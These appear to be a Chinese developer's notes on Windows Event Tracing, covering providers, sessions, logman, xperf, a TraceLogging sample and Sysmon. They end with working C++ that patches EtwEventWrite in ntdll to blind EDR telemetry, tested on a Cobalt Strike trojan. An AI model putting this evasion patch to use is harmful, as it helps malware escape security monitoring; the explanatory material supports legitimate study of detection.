【Windows开发】Windows 事件跟踪 (ETW)
去年的笔记了,很杂,加缝合内容,部分内容可能失效,建议跳着看。
前言
Windows 事件跟踪(ETW)是一项内置功能,最初旨在提供详细的用户和内核日志记录。如今 ETW 被开发者、安全研究者、EDR 厂商广泛使用,常见的免杀工具都实现了ETW绕过模块,例如 Havoc 具有ETW patch功能、Ladon实现了etw unhook、Github能搜到诸多相关代码。本文整理ETW的基本概念,基于 TraceLoggingAPI 的ETW实现,给出了ETW绕多的简单实现并完成了相关实验。
ETW 简介
ETW最早于Windows 2000引入,最初旨在提供详细的用户和内核日志记录,可以动态启用或禁用,而无需重新启动目标进程。最初和现在主要用于应用程序调试和优化。缓冲区和消息队列的早期使用,类似于较新的Web技术(如Apache Kafka),旨在限制跟踪(日志记录)会话对系统的影响,在尝试调试进程本身的系统影响时非常有帮助。可以把ETW看作是基于打印的调试的替代方案,这些消息是通过使用标准格式的公共通道发出的,而不是打印到控制台。
自Windows 2000以来,ETW的核心结构几乎没有改变,尽管发送和接收日志的过程已经多次进行了改进,以使第三方程序更容易与ETW集成。
Windows 事件跟踪 (ETW) 是一项内置功能,最初设计用于执行软件诊断,如今 ETW 被 EDR 厂商广泛使用。对 ETW 的攻击会使依赖 ETW 遥测的一整类安全解决方案失效。研究禁用 ETW 的方法至关重要,因为这些攻击可能导致禁用依赖 ETW 以了解主机事件的整个 EDR 解决方案类别。更重要的是研究和开发检测 ETW 是否被篡改并通知到位的安全解决方案的方法。这也是现代EDR设计的一个缺陷,在此前2021年的黑帽大会上也有介绍。
现代 EDR 广泛利用 Windows 事件跟踪 (ETW),特别是 Microsoft Defender for Endpoint(以前称为 Microsoft ATP)。ETW 允许对进程功能, WINAPI 调用等行为进行广泛的检测和跟踪。ETW 大量组件在内核中,主要用于为系统调用和其他内核操作注册回调,但也包含一个用户态组件,参考之前对ProcessMon的攻击文章。
Windows 11 中 ETW 提供了 1000 种提供程序 Provider、5000 种事件类型。Windows 10 自带了种 1100 Provider。
基本组件
事件跟踪 API 分为三个不同的组件:
- Controller:控制器,用于启动和停止事件跟踪会话(ETW Session)并启用生产者
- Provider:提供事件的生产者,提供程序
- Consumer:使用事件的消费者
事件监测总会包含两个基本的实体,事件的提供者(ETW Provider)和消费者(ETW Consumer),ETW框架可以视为媒介。ETW Provider会预先注册到ETW框架上,提供者程序在某个时刻触发事件,并将标准化定义的事件提供给ETW框架。Consumer同样需要注册到ETW框架上,在注册的时候可以设置事件的删选条件和接收处理事件的回调。对于接收到的事件,如果它满足某个注册 ETW Consumer 的筛选条件,ETW会调用相应的回调来处理该事件。
ETW Provider
ETW 使用 GUID 来区分 provider。应用程序通过provider发送事件,这个事件中包含想要调试的信息,可能是简单的字串或者是复杂的结构体。
常见的与安全相关的 provider 如下图:
provider 是安全对象,可以通过的安全描述符来查看。下面是 Microsoft-Windows-Services provider 的安全描述符。可以看到默认情况下只有 NT AUTHORITY\SYSTEM
,NT AUTHORITY\LOCAL SERVICE
还有BUILTIN\Administrators
组的成员可以访问该provider。只有管理员权限的control才可以直接和provider通信。
PS C:\Users\admin> $SDs = Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Security
PS C:\Users\admin> $sddl = ([wmiclass]"Win32_SecurityDescriptorHelper").
>> BinarySDToSDDL($SDs.’0063715b-eeda-4007-9429-ad526f62696e’).
>> SDDL
PS C:\Users\admin> ConvertFrom-SddlString -Sddl $sddlOwner : BUILTIN\Administrators
Group : BUILTIN\Administrators
DiscretionaryAcl : {NT AUTHORITY\SYSTEM: AccessAllowed (CreateDirectories, DeleteSubdirectoriesAndFiles, ExecuteKey, GenericExecute, GenericRead, GenericWrite, ListDirectory, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, Synchronize, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey), NT AUTHORITY\LOCAL SERVICE: AccessAllowed (CreateDirectories, DeleteSubdirectoriesAndFiles, ExecuteKey, GenericExecute, GenericRead, GenericWrite, ListDirectory, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, Synchronize, Traverse, Write,WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey), BUILTIN\Administrators: AccessAllowed (CreateDirectories, DeleteSubdirectoriesAndFiles, ExecuteKey, GenericExecute, GenericRead, GenericWrite, ListDirectory, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions,Synchronize, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)}
SystemAcl : {}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
ETW 针对事件的处理是在某个会话(ETW Session)中进行的,ETW Session提供了一个接收、存储、处理和分发事件的执行上下文。ETW框架可以创建多个会话来处理由提供者程序发送的事件,但是ETW Session并不会与某个单一的提供者绑定在一起,多个提供者程序可以向同一个ETW Session发送事件。对于接收到的事件,ETW Session可以将它保存在创建的日志文件中,也可以实时地分发给注册的消费者应用。ETW Session的启停是通过是通过ETW Controller进行管理的。除了管理ETW Session之外,ETW Controller还可以禁用或者恢复注册到某个ETW Session上的ETW Provider。
事件追踪最多同时支持 64 个 ETW session。其中有两个特殊的session:
- Global Logger Session:录操作系统启动过程早期发生的事件,如设备驱动程序生成的事件;
- NT Kernel Logger Session:记录操作系统生成的预定义系统事件,例如磁盘 IO 或页面故障事件。
补充内容:
- 一个应用可以同时扮演几个角色,比如 perfview 既作为控制器(Controller)又作为消费者(Consumer)
- 消费者(consumer) 是可以同时接收来自多个会话的事件,可以是已经被记录在日志文件中的也可以是实时的,这些事件按照时间顺序发送和接收
- 生产者类型分为四种:MOF、WPP、Manifest-based 以及 TraceLogging。
ETW Provider 框架
开发者可以使用如下四种类型框架向 provider 发送事件:MOF (经典) 、WPP、Manifest-based 和 TraceLogging API 。
- Managed Object Format(MOF):比较老,不推荐,使用
sechost!RegisterTraceGuids()
和advapi!TraceEvent()
来注册和写入事件。 - Windows Software Trace Preprocessor (WPP):主要出于开发和调试目的收集跟踪数据,更偏底层驱动一点;使用需要 PDB 配置文件;与Windows事件日志一样,WPP允许 provider 记录事件ID和事件数据,最初事件记录是二进制的,但后来格式化来方便阅读。WPP比MOF支持更复杂的数据类型,包括时间戳和guid,作为基于MOF的 provider 的补充。和MOF一样,WPP也使用
sechost!RegisterTraceGuids()
和advapi!TraceEvent()
来注册和写入事件。WPP 还可以使用 WPP_INIT_TRACING 宏来注册provider GUID。 - Manifest-based(基于清单):最常见的注册provider方式,Windows defender 也基于此框架;该框架使用XML文件定义 provider 自身及其事件的格式。这些清单在编译时被嵌入到提供者二进制文件中,并在系统中注册。该框架使用
advapi!EventRegister()
注册事件,advapi!EventWrite()
写入事件。 - TraceLogging(Tlg):Window 10 新引入的框架,Tlg 基本上是 ETW 的包装器,可以让日志记录变得更容易、更简单。不同于其他框架,TraceLogging可以自定义事件类,不用实现定义事件类或者manifest,consumer 也可以处理。可以使用 TDH API 解码 TraceLogging 事件。这类框架的 provider 使用
advapi!TraceLoggingRegister()
和advapi!TraceLoggingWrite()
来注册和写入事件。
用 Windows Vista 或更高版本编写不需要支持旧系统的应用程序,则应使用 Manifest-based 的提供程序或 TraceLogging 提供程序。无论开发人员选择哪种方法,结果都是相同的:他们的应用程序发出事件供其他应用程序使用。
定位 provider
理解 provider 发送事件可以帮助了解 provider 本身。不幸的是Windows 不提供简单的方式直观的获取 provide 名称和GUID。有时只能从事件元数据中获取信息,更多的时候需要从dll文件或驱动文件中获取这些信息,可以使用以下特性获取 ETW provider:
- provider 的PE文件必须引用其 GUID,最常见的是在.rdata 段,它保存只读初始化数据;
- provider 存在于可执行代码文件,通常是.exe .dll或.sys;
- provider 必然使用注册API,在用户态使用
advapi!EventRegister()
和ntdll!EtwEventRegister()
,在内核态ntoskrnl!EtwRegister()
; - 使用 manifest-base 框架的 provider 存在于注册表中
HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID>
ResourceFileName 中。
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}
GUID 通常被通过RCX 来获取。
ETW Controller
controller是定义和控制跟踪会话session的组件,记录provider编写的事件并将刷给consumer。功能包括启动和停止session、启用或禁用与会话相关联的provider,以及管理事件缓冲区池的大小等。单个应用程序可能同时包含controller和consumer代码;或者,控制器可以是一个完全单独的应用程序,如xperf和logman,这两个便于收集和处理ETW事件的实用工具。
controller使用 sechost!StartTrace()
创建session,并使用 sechost!ControlTrace()
和 advapi!EnableTraceEx()
或 sechost!EnableTraceEx2()
进行配置。在Windows XP及更高版本上,控制器最多可以启动和管理64个同步跟踪会话。可以使用logman 查看session。
ETW Consumer
几乎所有EDR agent 是一个实时consumer。使用sechost!OpenTrace()
链接到 session,使用 sechost!ProcessTrace()
读取session中的事件。
每次consumer接收到一个新的事件时,一个内部定义的回调函数就会根据provider提供的信息来解析事件数据,例如事件清单。然后,consumer就可以选择用这些信息来做任何它想做的事情了。在端点安全软件的情况下,这可能意味着创建一个警报,采取一些预防措施,或将该活动与另一个传感器收集的遥测数据联系起来。
logman
Logman是处理 ETW 和事件追踪sessions的内置工具之一。用Logman来查询、创建、启动和停止追踪sessions,这对于了解哪些会话可以方便地进行收集或启动自己的收集非常有帮助。
使用参数标志 “-ets” 将直接查询事件追踪会话,让你能够查看系统级别的追踪会话。在右侧图片的底部,你可以看到 Sysmon Event Tracing Sessions。
logman和TraceLog的输出列表是有区别的,logman会输出已经通过 MOF 向WMI注册过的 providers,尚不清楚具体的细节,但是无论是谁输出的列表都不是完整的生产者列表。Tracelogging API 的 provider 无法通过logman查阅。
输出所有已注册的生产者(Providers)
logman query providers
输出指定进程的所有注册生产者
logman query providers -pid 18960 # 计算器为例, 进程PID = 18960, 可以看到其注册了很多的生产者
查看当前所有/特定会话
logman query -ets
logman query {session_name} -ets
创建会话
logman create trace test-trace -ets
查看会话信息
PS F:\temp> logman query test-trace -ets名称: test-trace
状态: 正在运行
根路径: F:\temp
弓形: 关闭
计划: 启用名称: test-trace\test-trace
类型: 跟踪
输出位置: F:\temp\test-trace.etl
附加: 关闭
循环: 关闭
覆盖: 关闭
缓存大小: 8
缓冲区已丢失: 0
缓冲区已写入: 1
缓冲区刷新计时器: 0
时钟类型: 性能
文件模式: 文件
生产者订阅,查看要订阅的生产者具有哪些事件
logman query providers "Microsoft-Windows-Kernel-Process"
提供程序 GUID
-------------------------------------------------------------------------------
Microsoft-Windows-Kernel-Process {22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}值 关键字 描述
-------------------------------------------------------------------------------
0x0000000000000010 WINEVENT_KEYWORD_PROCESS
0x0000000000000020 WINEVENT_KEYWORD_THREAD
0x0000000000000040 WINEVENT_KEYWORD_IMAGE
0x0000000000000080 WINEVENT_KEYWORD_CPU_PRIORITY
0x0000000000000100 WINEVENT_KEYWORD_OTHER_PRIORITY
0x0000000000000200 WINEVENT_KEYWORD_PROCESS_FREEZE
0x0000000000000400 WINEVENT_KEYWORD_JOB
0x0000000000000800 WINEVENT_KEYWORD_ENABLE_PROCESS_TRACING_CALLBACKS
0x0000000000001000 WINEVENT_KEYWORD_JOB_IO
0x0000000000002000 WINEVENT_KEYWORD_WORK_ON_BEHALF
0x0000000000004000 WINEVENT_KEYWORD_JOB_SILO
0x8000000000000000 Microsoft-Windows-Kernel-Process/Analytic
wevtutil.exe
使用过 wevtutil.exe 可以安装、查询、修改和启用事件日志及其相关的清单文件。与 logman 类似,您也可以使用 wevtutil.exe 来查询现有provider,只不过这次您要查询的是提供程序清单。
ETW事件丢失的原因
这部分内容可以作为攻击的方法:
- 事件总大小大于 64K。这包括 ETW 标头和数据或有效载荷。用户无法控制这些丢失的事件,因为事件大小是由应用程序配置的。
- ETW 缓冲区小于总事件大小。用户无法控制这些丢失的事件,因为事件大小由记录事件provider 配置。
- 对于实时日志记录,实时consumer消耗事件的速度不够快,或者完全不存在,导致备份文件被填满。如果在记录事件时停止和启动事件日志服务,就会造成这种情况。用户无法控制这些丢失的事件。
- 记录到日志文件的时候,磁盘速度太慢,跟不上记录速度。
基于TraceLogging的ETW实现
TraceLogging 提供程序:
- 使用
TraceLoggingRegister
和TraceLoggingWrite
注册和写入事件。 - 使用自描述事件,以便事件本身包含使用它们所需的所有信息。
- 最多可以同时通过八个跟踪会话启用。
由于logman 和 Tracelog 不能全面的显示 provider。
使用 Powershell 获得 provider 名称,通过 hash 计算 provider guid。
[System.Diagnostics.Tracing.EventSource]::new("Red0.TraceLoggingProviderSample").Guid
#include <windows.h>
#include <TraceLoggingProvider.h>
#include <winmeta.h>
#include <stdio.h>
#include <string>
#include <iostream>
#include <chrono>using namespace std;TRACELOGGING_DEFINE_PROVIDER(g_hProvider,"Red0.TraceLoggingProviderSample",// {8ff2ce50-c62a-51a5-4d3b-175ff00572a9}(0x8ff2ce50, 0xc62a, 0x51a5, 0x4d, 0x3b, 0x17, 0x5f, 0xf0, 0x05, 0x72, 0xa9));void print_cnt() {for (int i = 0; i < 10000000; i++) {if (i % 100000 == 0) {TraceLoggingWrite( // 宏g_hProvider, "print_cnt", // event名称TraceLoggingInt32(i, "cnt")); // 数据}}
}int __cdecl main()
{auto start = std::chrono::high_resolution_clock::now();ULONG RegisterResult = TraceLoggingRegister(g_hProvider); // 宏注册Providerprint_cnt();TraceLoggingUnregister(g_hProvider); // 宏注销Providerauto end = std::chrono::high_resolution_clock::now();auto duration = std::chrono::duration_cast<std::chrono::milliseconds>(end - start);std::cout << "duartion:" << duration.count() << "ms" << std::endl;
}
# 开启一个叫trace的session 输出到 trace.etl 文件,对应的provider 是 Red0.TraceLoggingProviderSample
xperf -start trace -f trace.etl -on *Red0.TraceLoggingProviderSample
# 运行程序
ETW.exe
# 停止 session
xperf -stop trace
# 格式化 .etl 方便人工阅读
./tracefmt -dispalyonly trace.etl
TraceLoggingWrite 宏
https://learn.microsoft.com/zh-cn/windows/win32/api/traceloggingprovider/nf-traceloggingprovider-traceloggingwrite
if (TraceLoggingProviderEnabled(hProvider, eventLevel, eventKeyword)) { staticconst metadata = { GetMetadataFromArgs(args...) }; EVENT_DATA_DESCRIPTOR data[N] = { GetDataFromArgs(args...) }; EventWriteTransfer(etwHandle, metadata.desc, NULL, NULL, N, data); }
pywintrace 获取
Anyway, I tried to register to Microsoft.Windows.Kernel.Power and for me it works, I guess there’s an issue in your code… I’m doing it using the Python PyWinTrace API, you can see here:
- install Python3
pip install pywintrace
- run this script as admin
import etw
import etw.evntrace
import time
import pprintdef print_event(e): pprint.pprint(e) def main(): provider = etw.ProviderInfo(None,etw.GUID("{331c3b3a-2005-44c2-ac5e-77220c37d6b4}"),level=etw.evntrace.TRACE_LEVEL_VERBOSE,any_keywords=0xffffffffffffffff)session = etw.ETW(providers=[provider], event_callback=print_event)session.start()try: input()except KeyboardInterrupt:passsession.stop()
if __name__ == '__main__': main()
It should start printing events.
抓取 ETW 数据
Process Monitor
Process Monitor 是一个免费的行为分析软件,很多白帽用它对病毒辅助分析,它的底层和多数EDR实现基本一致,在3.60之前的版本使用 “NT Kernel Logger” session 进行记录,在3.85 版本之后使用的"PROCMON TRACE" 进行log会话,其中他的网络流量的抓取使用到了ETW。我们可以通过该软件验证是否bypass ETW。
实验的版本为Process Monitor 3.95,以木马进程名称artifact为过滤条件。artifact.exe 为cs4.4生成的木马。
抓取网络流量
Sysmon
Sysmon是微软的一款免费的轻量级系统监控工具,最开始是由Sysinternals开发的,后来Sysinternals被微软收购,现在属于Sysinternals系列工具(带有微软代码签名)。它通过系统服务和驱动程序实现记录进程创建,网络连接以及文件创建时间更改的详细信息,并把相关的信息写入并展示在windows的日志事件里。
Sysmon安装后分为用户态系统服务,驱动两部分,用户态通过ETW(Event Tracing for Windows)实现对网络数据记录,通过EventLog对驱动返回的数据进行解析,驱动部分则通过进、线程,模块的回调函数收集进程相关的信息,通过Minifilter文件过滤驱动和注册表回调函数记录访问文件、注册表的数据。
priovder GUID {5770385f-c22a-43e0-bf4c-06f5698ffbd9}
sysmon -i # 最基本的安装命令
sysmon.exe -accepteula -i sysmonconfig-export.xml # 指定规则文件安装
sysmon.exe -c sysmonconfig-export.xml # 更新配置
sysmon.exe -u # 卸载-c 更新或显示配置
-h 指定hash记录的算法
-i 安装,可用xml文件来更新配置文件
-l 记录加载模块,可指定进程
-m 安装事件清单
-n 记录网络链接
-r 检测证书是否撤销
-u 卸载服务和驱动# 一键安装:
sysmon -accepteula –i #-n 指定配置文件(安装时请用-i)
sysmon -c xxx.xml # 注:安装需要管理员权限并重启,windows 7 或者以上,服务器系统windows server 2012 及以上。Install: Sysmon.exe -i <configfile>[-h <[sha1|md5|sha256|imphash|*],...>] [-n [<process,...>]][-l (<process,...>)]
Configure: Sysmon.exe -c <configfile>[--|[-h <[sha1|md5|sha256|imphash|*],...>] [-n [<process,...>]][-l [<process,...>]]]
Uninstall: Sysmon.exe -u
禁用 ETW
由于 ntdll.dll 是加载到我们的二进制进程中的 DLL,我们完全可以控制这个 DLL,从而控制 ETW 功能。用户空间中有很多不同的 ETW 绕过方法,最常见的一种是修补函数 EtwEventWrite,该函数被调用以写入/记录 ETW 事件。我们在 ntdll.dll 中获取它的地址,并将它的第一条指令替换为返回 0 (SUCCESS) 的指令,核心代码如下:
许多EDR使用ETW来进行扩展,尤其是Microsoft ATP。ETW允许对一个进程的功能和WINAPI调用进行追踪。ETW由内核组件和用户模式组件构成,主要用于注册系统调用或者其他系统操作的回调。用户模式的部分在ntdll.dll中,由于ntdll已经加载到每个进程中,因此我们可以充分使用这个dll来控制ETW的功能。有很多方法来绕过用户模式ETW。最常用的方法是patch掉EtwEventWrite()函数,这个函数用于写入ETW事件。首先是找到这个函数的地址,然后替换第一条指令,修改为返回成功(SUCESS)。
直接采用C++ unkvolism/Fuck-Etw的实现代码,目前依然可用。
void disableETW(void) {// return 0unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; retULONG oldprotect = 0;size_t size = sizeof(patch);HANDLE hCurrentProc = GetCurrentProcess();unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEventWrite);NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &oldprotect);memcpy(pEventWrite, patch, size / sizeof(patch[0]));NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldprotect);FlushInstructionCache(hCurrentProc, pEventWrite, size);
}
artifact-bypassetw.exe 为 Etw bypass 生成的木马。上线 Etw bypass 之后的木马,并未抓取到HTTP流量。Process Monitor 文件IO、注册表相关操作遥测技术底层不使用的 ETW,木马本身还是会被检测到。